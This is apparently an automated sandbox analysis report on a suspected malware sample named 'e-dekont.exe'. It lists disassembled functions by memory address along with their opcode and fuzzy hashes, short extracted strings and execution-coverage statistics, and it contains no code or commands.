Instruction ID: 27aa9afc9c142e94d8c1be387e5302a2aaacf8022e5a2d9061a760e6e37570ea
Opcode Fuzzy Hash: 9ee4029e74065cdb1e92fdca9dc3439a5fccd8e83a4ad4c662dccf886483ea9f
Instruction Fuzzy Hash: 9BD0C9D2A097C45FC307977495140412FA5BFDB240B9A40D6C081DB6EBDA2A5956CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 073F3F65 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1666133910.00000000073F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 073F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_73f0000_e-dekont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d35636f1cedcda1ca20245cafa5f4bf0aa18a1f0e6cee582452e386cc40843ef
Instruction ID: b30f2ee6f6a35983983f9d2354461d3fe6aecbf72ad298ab09f928a00f7909a8
Opcode Fuzzy Hash: d35636f1cedcda1ca20245cafa5f4bf0aa18a1f0e6cee582452e386cc40843ef
Instruction Fuzzy Hash: C5D092B4A12249CFC718CFA1D684889BBB6AF8A341F615659D00AAB268C734DE81CE50

Uniqueness

Uniqueness Score: -1.00%

Function 073FE718 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1666133910.00000000073F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 073F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_73f0000_e-dekont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ffafbdeb706a385bc071c7376d9d7df405609dec5bc569e0efb96d8653b9c093
Instruction ID: 3b92b77bbe93156e68da31f2e6c2854fe658371c4a235dfacf9d05ca144646c7
Opcode Fuzzy Hash: ffafbdeb706a385bc071c7376d9d7df405609dec5bc569e0efb96d8653b9c093
Instruction Fuzzy Hash: 94C08C70062305CBD30827A8B80E3647768AB80742F880010A20C114B08AB81880CF31

Uniqueness

Uniqueness Score: -1.00%

Function 073F76F3 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1666133910.00000000073F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 073F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_73f0000_e-dekont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d4ca51d5795e3601622076444448794c0b7ec3284a7fdbe167a8de9bcb19d66
Instruction ID: e6e06e109c068c36bca6117291c9f222c26b0cffaeb9cd42b540f2de1ec5e40f
Opcode Fuzzy Hash: 5d4ca51d5795e3601622076444448794c0b7ec3284a7fdbe167a8de9bcb19d66
Instruction Fuzzy Hash: D0C08CFA020000EEDA01A7208A40C65BB94FB46340B408852E20D86434C730C51CDB02

Uniqueness

Uniqueness Score: -1.00%

Function 073F7A6C Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1666133910.00000000073F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 073F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_73f0000_e-dekont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a585633cfb2b4c3bf9ba659340ef852d698011cefd87acc968f49777f1f4cff1
Instruction ID: 95a04b170565b1a783775ef06a9fd83b3a8d6941be457c987b3ee0685cbea1c5
Opcode Fuzzy Hash: a585633cfb2b4c3bf9ba659340ef852d698011cefd87acc968f49777f1f4cff1
Instruction Fuzzy Hash: 1CB012F91B6180FAF80467686B4492ADA00EBA3740F41CC11B74DE0654853084A8952F

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 073FC310 Relevance: 5.3, Strings: 4, Instructions: 259COMMON

Download Yara Rule

Strings

]\`, xrefs: 073FC592
[V~*, xrefs: 073FC475
[V~*, xrefs: 073FC47C
T+-q, xrefs: 073FC64A

Memory Dump Source

Source File: 00000000.00000002.1666133910.00000000073F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 073F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_73f0000_e-dekont.jbxd

Similarity

API ID:
String ID: T+-q$[V~*$[V~*$]\`
API String ID: 0-1849991408
Opcode ID: 9d51b0516f5ec2fc6848576b5204bb548da692e1ea6a57d9bfc54424c9d2f2d0
Instruction ID: fe951ee6f6b8b7abdb62ea02dfc4293145169177453b7a4a5169d41041ab4762
Opcode Fuzzy Hash: 9d51b0516f5ec2fc6848576b5204bb548da692e1ea6a57d9bfc54424c9d2f2d0
Instruction Fuzzy Hash: 59B1F7B0E55219DBDB04CFAAD58089EFBF6FF89380F14E52AD519AB318D33499018F64

Uniqueness

Uniqueness Score: -1.00%

Function 073FC301 Relevance: 4.0, Strings: 3, Instructions: 257COMMON

Download Yara Rule

Strings

]\`, xrefs: 073FC592
[V~*, xrefs: 073FC47C
T+-q, xrefs: 073FC64A

Memory Dump Source

Source File: 00000000.00000002.1666133910.00000000073F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 073F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_73f0000_e-dekont.jbxd

Similarity

API ID:
String ID: T+-q$[V~*$]\`
API String ID: 0-3978741314
Opcode ID: 55ed07e735b3888d895533b5d1909bc8c7012c42946ab00d98793e299becae13
Instruction ID: 4c2dcc5e728dd18c50a391053f6da7d88414d22e3cfa6e435a4083349532ddff
Opcode Fuzzy Hash: 55ed07e735b3888d895533b5d1909bc8c7012c42946ab00d98793e299becae13
Instruction Fuzzy Hash: 3DB118B0E55219DBDB04CFAAD98089EFBF2BF89340F14E52AD419EB319D33499018F64

Uniqueness

Uniqueness Score: -1.00%

Function 073FC4CC Relevance: 4.0, Strings: 3, Instructions: 201COMMON

Download Yara Rule

Strings

]\`, xrefs: 073FC592
[V~*, xrefs: 073FC47C
T+-q, xrefs: 073FC64A

Memory Dump Source

Source File: 00000000.00000002.1666133910.00000000073F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 073F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_73f0000_e-dekont.jbxd

Similarity

API ID:
String ID: T+-q$[V~*$]\`
API String ID: 0-3978741314
Opcode ID: ad7556292f9ccc0755539e7af1a0d81226aa5afe63ce0bbb6910c1718f0b4d07
Instruction ID: 76764af31a2f63f5379aedc21c25484943086577ced510a38b169c32d1f39711
Opcode Fuzzy Hash: ad7556292f9ccc0755539e7af1a0d81226aa5afe63ce0bbb6910c1718f0b4d07
Instruction Fuzzy Hash: B78158B0E6521DDBDB04CFAAD98089EFBB2FF89380F10A516D519B7318D33499018F64

Uniqueness

Uniqueness Score: -1.00%

Function 073F318A Relevance: 3.9, Strings: 3, Instructions: 161COMMON

Download Yara Rule

Strings

[[bb, xrefs: 073F32FB
7Z/t, xrefs: 073F32AB
RWIK, xrefs: 073F3202

Memory Dump Source

Source File: 00000000.00000002.1666133910.00000000073F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 073F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_73f0000_e-dekont.jbxd

Similarity

API ID:
String ID: 7Z/t$RWIK$[[bb
API String ID: 0-1157992699
Opcode ID: 4937d3cad1c4e6f06fa8f0bb66b196e2980e33b4e1495425cc161a8e25146ea2
Instruction ID: f0f2abca0799732cf4d1ca9629b9074b2b9b95015c3b0bcdb423f7b7241bc17f
Opcode Fuzzy Hash: 4937d3cad1c4e6f06fa8f0bb66b196e2980e33b4e1495425cc161a8e25146ea2
Instruction Fuzzy Hash: 1B6126B0E1560ADFDB08CFAAC8415AEFFF2BF89350F14D06AD519A7264D7348A418F94

Uniqueness

Uniqueness Score: -1.00%

Function 073F2BE1 Relevance: 2.7, Strings: 2, Instructions: 247COMMON

Download Yara Rule

Strings

4, xrefs: 073F2EBE
4, xrefs: 073F2EC5

Memory Dump Source

Source File: 00000000.00000002.1666133910.00000000073F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 073F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_73f0000_e-dekont.jbxd

Similarity

API ID:
String ID: 4$4
API String ID: 0-209682765
Opcode ID: 430d21fe9f4f53ccb836700fa2b2eea690c03050513b7ba4c527d4d7f6921494
Instruction ID: 6c48f40e0cef2f719b26bb283b2ab0e79b35144e41fc22aba190d77bf6a58819
Opcode Fuzzy Hash: 430d21fe9f4f53ccb836700fa2b2eea690c03050513b7ba4c527d4d7f6921494
Instruction Fuzzy Hash: 98B13DB4E11219DFDB44DFA8D940A9EFBB2FF88300F108626D519AB355DB30A946CF91

Uniqueness

Uniqueness Score: -1.00%

Function 073F1DF0 Relevance: 1.3, Strings: 1, Instructions: 80COMMON

Download Yara Rule

Strings

0, xrefs: 073F1E75

Memory Dump Source

Source File: 00000000.00000002.1666133910.00000000073F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 073F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_73f0000_e-dekont.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 3ab8bbf4bc0060c440f49135b40958fc4dd9616839179c013e733d0d71e394a1
Instruction ID: 8c46604c2a94a0be2d6f5716f9f4a9019bd407d481abbd1ca980ba79d3a85bf9
Opcode Fuzzy Hash: 3ab8bbf4bc0060c440f49135b40958fc4dd9616839179c013e733d0d71e394a1
Instruction Fuzzy Hash: EF3118B1E05618DBEB18CFABD8407DEFBF3AFC9200F14C0AAD508A6254EB341A458F51

Uniqueness

Uniqueness Score: -1.00%

Function 076130D0 Relevance: .3, Instructions: 317COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1666345195.0000000007610000.00000040.00000800.00020000.00000000.sdmp, Offset: 07610000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7610000_e-dekont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 927f5d63ba18ffb353282af1d97dbdb70483210272aa5bce89460c6f683a25af
Instruction ID: b4ba4fe1232b718b43fb83cde56941e1c592a433c0e6cb08d874eb637639361b
Opcode Fuzzy Hash: 927f5d63ba18ffb353282af1d97dbdb70483210272aa5bce89460c6f683a25af
Instruction Fuzzy Hash: 74E11BB4E012598FCB14DFA9C5849AEFBB6FF89304F24C169D415AB35AD730A942CF60

Uniqueness

Uniqueness Score: -1.00%

Function 05060130 Relevance: .3, Instructions: 315COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1664124841.0000000005060000.00000040.00000800.00020000.00000000.sdmp, Offset: 05060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5060000_e-dekont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3cb16f009ea67c5e09f288e3104a389d8c5a214bd254ac892794b822e063edc7
Instruction ID: cd0249ae6fdc9672f3c059b4e276dd3391c8c9b0eb82a9f58aac1913a5958de0
Opcode Fuzzy Hash: 3cb16f009ea67c5e09f288e3104a389d8c5a214bd254ac892794b822e063edc7
Instruction Fuzzy Hash: 4112A6B0C857458AE711CF65E84C1893BB1BB55318BF04A09E2613F2E5DFB8A5ABCF44

Uniqueness

Uniqueness Score: -1.00%

Function 07614D18 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1666345195.0000000007610000.00000040.00000800.00020000.00000000.sdmp, Offset: 07610000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7610000_e-dekont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e2b6c6265ae4bdc84ea1adfef44402b8d05c17bb918c1b621b813372004595ab
Instruction ID: a447bcf321dbcb79e9b785984fa88b260fd85846d5273c5054a2a92820f21e2d
Opcode Fuzzy Hash: e2b6c6265ae4bdc84ea1adfef44402b8d05c17bb918c1b621b813372004595ab
Instruction Fuzzy Hash: CBE11CB4E011598FCB14DFA9C5849AEFBB6FF89304F24C159D415AB356DB30A942CF60

Uniqueness

Uniqueness Score: -1.00%

Function 076155F0 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1666345195.0000000007610000.00000040.00000800.00020000.00000000.sdmp, Offset: 07610000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7610000_e-dekont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0756f838704bfb50dcd52152ddb2d0cf7f3ec611e0153e8cfc36718f592552
Instruction ID: 69d47f343f2c71ed35385b975625be23fc59f35cf7d474343f4018e67b4a6975
Opcode Fuzzy Hash: 4e0756f838704bfb50dcd52152ddb2d0cf7f3ec611e0153e8cfc36718f592552
Instruction Fuzzy Hash: A2E118B4E011198FCB14DFA9C5849AEFBB6FF89304F24C169D416AB356D730A942CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 07612CA8 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1666345195.0000000007610000.00000040.00000800.00020000.00000000.sdmp, Offset: 07610000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7610000_e-dekont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1e05ddff7ecdb166ac0c96323b511ba93a6bc51072d2decd28b9a72809a9f383
Instruction ID: b5f8bf92006c4456566686fce56e1fcb174f95c59158dc35a15ca4659c8ac4ba
Opcode Fuzzy Hash: 1e05ddff7ecdb166ac0c96323b511ba93a6bc51072d2decd28b9a72809a9f383
Instruction Fuzzy Hash: 43E118B4E001198FCB14DFA9C5949AEFBB6FF89304F24C169E415AB356D730A942CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 076148E0 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1666345195.0000000007610000.00000040.00000800.00020000.00000000.sdmp, Offset: 07610000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7610000_e-dekont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 491fad7a0839a5eb83d0174754879604916435dc0cecc945759b4ce7cf9a36b5
Instruction ID: 9bb910bef1d013c0d85cf9d2f86f4d5b03bc0239319707e40bca6843e3941e78
Opcode Fuzzy Hash: 491fad7a0839a5eb83d0174754879604916435dc0cecc945759b4ce7cf9a36b5
Instruction Fuzzy Hash: F4E12AB4E011598FCB14DFA9C5849AEFBB6FF89304F24C169D415AB31ADB30A942CF60

Uniqueness

Uniqueness Score: -1.00%

Function 073FA1F0 Relevance: .3, Instructions: 276COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1666133910.00000000073F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 073F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_73f0000_e-dekont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5a5e35c8f300dca699b6aae0782f4fe0beed1e3d8da7c5e39445acf4a3556aaf
Instruction ID: b2acbc0a1cbefcddf71380fea003e25ea056ec2cc1c043149644bacbc86a05a6
Opcode Fuzzy Hash: 5a5e35c8f300dca699b6aae0782f4fe0beed1e3d8da7c5e39445acf4a3556aaf
Instruction Fuzzy Hash: 75D11531D2075ACACB00EB68D951ADDB771FF95300F50879AE0093B2A5FB706AC9CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0295DA4C Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1660184429.0000000002950000.00000040.00000800.00020000.00000000.sdmp, Offset: 02950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2950000_e-dekont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1f927128ba1f34afab417f9c3711e72f041f9b89e3a1961420ec36b332491d31
Instruction ID: 1beaabdcded839ab0728ff05e4208c0d52a23b97875dfd598e3db39365d99ea2
Opcode Fuzzy Hash: 1f927128ba1f34afab417f9c3711e72f041f9b89e3a1961420ec36b332491d31
Instruction Fuzzy Hash: 38A19D32F002298FCF05DFB4C8445AEB7B6FF85310B25456AE805AB264DB31E916CF90

Uniqueness

Uniqueness Score: -1.00%

Function 073FA200 Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1666133910.00000000073F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 073F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_73f0000_e-dekont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 123bb789a405f707f21733a29737031dff26e00b50a7c2cfa907b44f5df1a273
Instruction ID: e8eeee47b9a0831a840dc9e82e01c5fa35bb87cd05b085fc35c538463a5538d8
Opcode Fuzzy Hash: 123bb789a405f707f21733a29737031dff26e00b50a7c2cfa907b44f5df1a273
Instruction Fuzzy Hash: 08D1F531D2075ACACB00EB68D951A9DB771FF95300F50879AE4093B265FB706AC9CB91

Uniqueness

Uniqueness Score: -1.00%

Function 073FA1C9 Relevance: .3, Instructions: 257COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1666133910.00000000073F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 073F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_73f0000_e-dekont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d72ec1026ebc3ca8c9abbafac80f5b8a923482ee202d2aefe9a8ade576b0990
Instruction ID: 8f15d5139ea21fbae36eebf1c594fd430d87a9615ae9e4461c5cfe0d4d6345f2
Opcode Fuzzy Hash: 6d72ec1026ebc3ca8c9abbafac80f5b8a923482ee202d2aefe9a8ade576b0990
Instruction Fuzzy Hash: 12D10431D2075ACECB00EB68D951A9DB771FF95300F50C7AAE0097B265EB706AC9CB91

Uniqueness

Uniqueness Score: -1.00%

Function 05060120 Relevance: .2, Instructions: 223COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1664124841.0000000005060000.00000040.00000800.00020000.00000000.sdmp, Offset: 05060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5060000_e-dekont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1fa947cfeb2e41539b086d9cf08868082d619200068c08c50753af7ac2f903cd
Instruction ID: e741f291753b3ba1e2ab7394493507f3800ab3ddf7fb74cbb6678cc6000c9284
Opcode Fuzzy Hash: 1fa947cfeb2e41539b086d9cf08868082d619200068c08c50753af7ac2f903cd
Instruction Fuzzy Hash: 2DC1F8B0C847468BD711CF65E8481897BB1BB95328BB14A09E1617F2E4DFB8A4A7CF44

Uniqueness

Uniqueness Score: -1.00%

Function 073F59A0 Relevance: .2, Instructions: 184COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1666133910.00000000073F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 073F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_73f0000_e-dekont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52ec7866a0cb53171f7b53d12babfe152971b7503e008497612e56b4188f80a7
Instruction ID: e634783cb2855df211c14fa3e6b03b2c806096e3058257bb7e3052c596ceaca3
Opcode Fuzzy Hash: 52ec7866a0cb53171f7b53d12babfe152971b7503e008497612e56b4188f80a7
Instruction Fuzzy Hash: F081FFB4E14219CFCB44CFA9C58499EFBF2FF89250F14955AE519AB320D334AA52CF90

Uniqueness

Uniqueness Score: -1.00%

Function 073F5990 Relevance: .2, Instructions: 183COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1666133910.00000000073F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 073F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_73f0000_e-dekont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f62afcce6857a13e7ba914d61d70f8c5a37d194c42bc93619d10291e7fa42b3
Instruction ID: 0e08593f4f58c793971ae07025a1731b375d4a5094e66d7a763616bda2fd9bbb
Opcode Fuzzy Hash: 8f62afcce6857a13e7ba914d61d70f8c5a37d194c42bc93619d10291e7fa42b3
Instruction Fuzzy Hash: 9F8102B4E14219CFCB44CFA9C58499EBBF2FF89350F14945AD419AB320D334AA52CF90

Uniqueness

Uniqueness Score: -1.00%

Function 073F3650 Relevance: .2, Instructions: 177COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1666133910.00000000073F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 073F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_73f0000_e-dekont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 13a9785f52bdd943a211da632416edf9d1135d54b0d0efd7be1a2272f33947a0
Instruction ID: 393bd77bd58af4e958f8c5af6dd8c9a013e7135f3097a1991d20fe0f75792f1d
Opcode Fuzzy Hash: 13a9785f52bdd943a211da632416edf9d1135d54b0d0efd7be1a2272f33947a0
Instruction Fuzzy Hash: 077156B4E1120ADFDB04CF99D4819EEFBB6FB89350F10812AE505AB354C3349A41CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 073F6848 Relevance: .2, Instructions: 159COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1666133910.00000000073F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 073F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_73f0000_e-dekont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bb52833aa017b737bf5341b5e86868022375e821a8ad807633b4ebb4d6f841b6
Instruction ID: 5c9b1903770ddac9706b1e28b71881e089a60dd56859a58ff2029b1de6a4aac3
Opcode Fuzzy Hash: bb52833aa017b737bf5341b5e86868022375e821a8ad807633b4ebb4d6f841b6
Instruction Fuzzy Hash: 026116B1E1520ADFDF04CFA9C5829EEFBB6BF89340F14805AD519A7204D7349A81CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 073F6E00 Relevance: .2, Instructions: 155COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1666133910.00000000073F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 073F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_73f0000_e-dekont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c1f623d54b3e17d41550543ca6dd39f58f5e51874ec9f719933a7803444c924
Instruction ID: 074793a2a6a6953714c115b2d413dbf85533eb7145c40c527a8ad7417c2b250d
Opcode Fuzzy Hash: 2c1f623d54b3e17d41550543ca6dd39f58f5e51874ec9f719933a7803444c924
Instruction Fuzzy Hash: B261E4B0915B05DBE708CFA1E687659BFB7FBCA340FE09495C08996194D73983B5C704

Uniqueness

Uniqueness Score: -1.00%

Function 073F8ED0 Relevance: .1, Instructions: 144COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1666133910.00000000073F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 073F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_73f0000_e-dekont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bfa14046278cc3c81c654445f1789b81de1014984df1dd81d9d66a19ba04192f
Instruction ID: ce2d7cc6ff281894af5ca4245b35bf1771b7a08cee3c5e06074cd99ec9650e1c
Opcode Fuzzy Hash: bfa14046278cc3c81c654445f1789b81de1014984df1dd81d9d66a19ba04192f
Instruction Fuzzy Hash: 235149B0E1630ACFDB08CFA6E5455EEBBB3EF89350F10942AE505E7254D7345A428F54

Uniqueness

Uniqueness Score: -1.00%

Function 073F8EE0 Relevance: .1, Instructions: 142COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1666133910.00000000073F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 073F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_73f0000_e-dekont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 415658c4ee67e05d3f5755e906e1ba3da18980989c53971a5982846f8162f1d1
Instruction ID: 3d998c5adca2879d8052a77b55fc59c30713371fd9208dc84d6768f59121f6c8
Opcode Fuzzy Hash: 415658c4ee67e05d3f5755e906e1ba3da18980989c53971a5982846f8162f1d1
Instruction Fuzzy Hash: CD5137B0E1620ADFDB08CFA6E4456EEBBF3AF89350F10942AE509E7254D7345A418F94

Uniqueness

Uniqueness Score: -1.00%

Function 073F6BC8 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1666133910.00000000073F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 073F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_73f0000_e-dekont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 817e395d8509f8293b86f080fe654adde88cd2f76a82fd2b7e30dc5ab09e1df3
Instruction ID: a09c0ea6fd9ab1c8519d758f7412f5b491f77f37233cccf9b71983e3c3a3043c
Opcode Fuzzy Hash: 817e395d8509f8293b86f080fe654adde88cd2f76a82fd2b7e30dc5ab09e1df3
Instruction Fuzzy Hash: 6241E4B0E1020ADBDB08CFAAC4815AEFBB6FF88340F14D52AD959E7210D7349A418F54

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: e-dekont.exePID: 7424, Parent PID: 7268COMMON

Execution Graph

Execution Coverage:	11.3%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	1.8%
Total number of Nodes:	167
Total number of Limit Nodes:	17

Executed Functions

Function 02DCB388 Relevance: 6.6, Strings: 5, Instructions: 351
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

LjAp, xrefs: 02DCB72F
PH^q, xrefs: 02DCB7A7
LjAp, xrefs: 02DCB745
0oAp, xrefs: 02DCB5C2
PH^q, xrefs: 02DCB7B8

Memory Dump Source

Source File: 00000002.00000002.4087771511.0000000002DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2dc0000_e-dekont.jbxd

Similarity

API ID:
String ID: 0oAp$LjAp$LjAp$PH^q$PH^q
API String ID: 0-1487592376
Opcode ID: 36a196c00c9e53fbc9c3818547de47ea4be590221620d00796d31bc10b45fc61
Instruction ID: c7f692ba1a5eb0cb1ad94a91729d8686e901062d27e18f8e14b622470e0ae161
Opcode Fuzzy Hash: 36a196c00c9e53fbc9c3818547de47ea4be590221620d00796d31bc10b45fc61
Instruction Fuzzy Hash: AEE1E874A04659CFDB14CFA9C985A9DBBB1FF48308F25806AE819AB361DB30EC41CF50

Uniqueness

Uniqueness Score: -1.00%

Function 02DCC7B1 Relevance: 6.4, Strings: 5, Instructions: 193
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

LjAp, xrefs: 02DCC9A5
PH^q, xrefs: 02DCCA18
0oAp, xrefs: 02DCC822
LjAp, xrefs: 02DCC98F
PH^q, xrefs: 02DCCA07

Memory Dump Source

Source File: 00000002.00000002.4087771511.0000000002DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2dc0000_e-dekont.jbxd

Similarity

API ID:
String ID: 0oAp$LjAp$LjAp$PH^q$PH^q
API String ID: 0-1487592376
Opcode ID: 180c31410440dfeb73506c31c1006ac0e0aacadf4119dcd739e459d48f1fda04
Instruction ID: 85db2e7b80bb7a1e711828a0e87da31e287b1b4fe60dbf0fa8ca4259bfdb879e
Opcode Fuzzy Hash: 180c31410440dfeb73506c31c1006ac0e0aacadf4119dcd739e459d48f1fda04
Instruction Fuzzy Hash: A681B674E10219DFDB18DFA9D994A9DBBF2BF88300F24806AE509AB365DB349D41CF10

Uniqueness

Uniqueness Score: -1.00%

Function 02DCC4D0 Relevance: 6.4, Strings: 5, Instructions: 192
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PH^q, xrefs: 02DCC727
0oAp, xrefs: 02DCC542
PH^q, xrefs: 02DCC738
LjAp, xrefs: 02DCC6AF
LjAp, xrefs: 02DCC6C5

Memory Dump Source

Source File: 00000002.00000002.4087771511.0000000002DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2dc0000_e-dekont.jbxd

Similarity

API ID:
String ID: 0oAp$LjAp$LjAp$PH^q$PH^q
API String ID: 0-1487592376
Opcode ID: e7c601bc64f7f730af2c6776255cb76d5ba38d317893df025c52bc28c2410fc1
Instruction ID: 9507adaada7a17cefa850bf329af8b4cb2100281b37e456587059c05d1ad2233
Opcode Fuzzy Hash: e7c601bc64f7f730af2c6776255cb76d5ba38d317893df025c52bc28c2410fc1
Instruction Fuzzy Hash: E981C574E10249DFDB14DFA9D984A9DBBF2BF88300F24D06AE509AB365DB349841CF50

Uniqueness

Uniqueness Score: -1.00%

Function 02DCBF10 Relevance: 6.4, Strings: 5, Instructions: 191
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PH^q, xrefs: 02DCC167
LjAp, xrefs: 02DCC105
PH^q, xrefs: 02DCC178
LjAp, xrefs: 02DCC0EF
0oAp, xrefs: 02DCBF82

Memory Dump Source

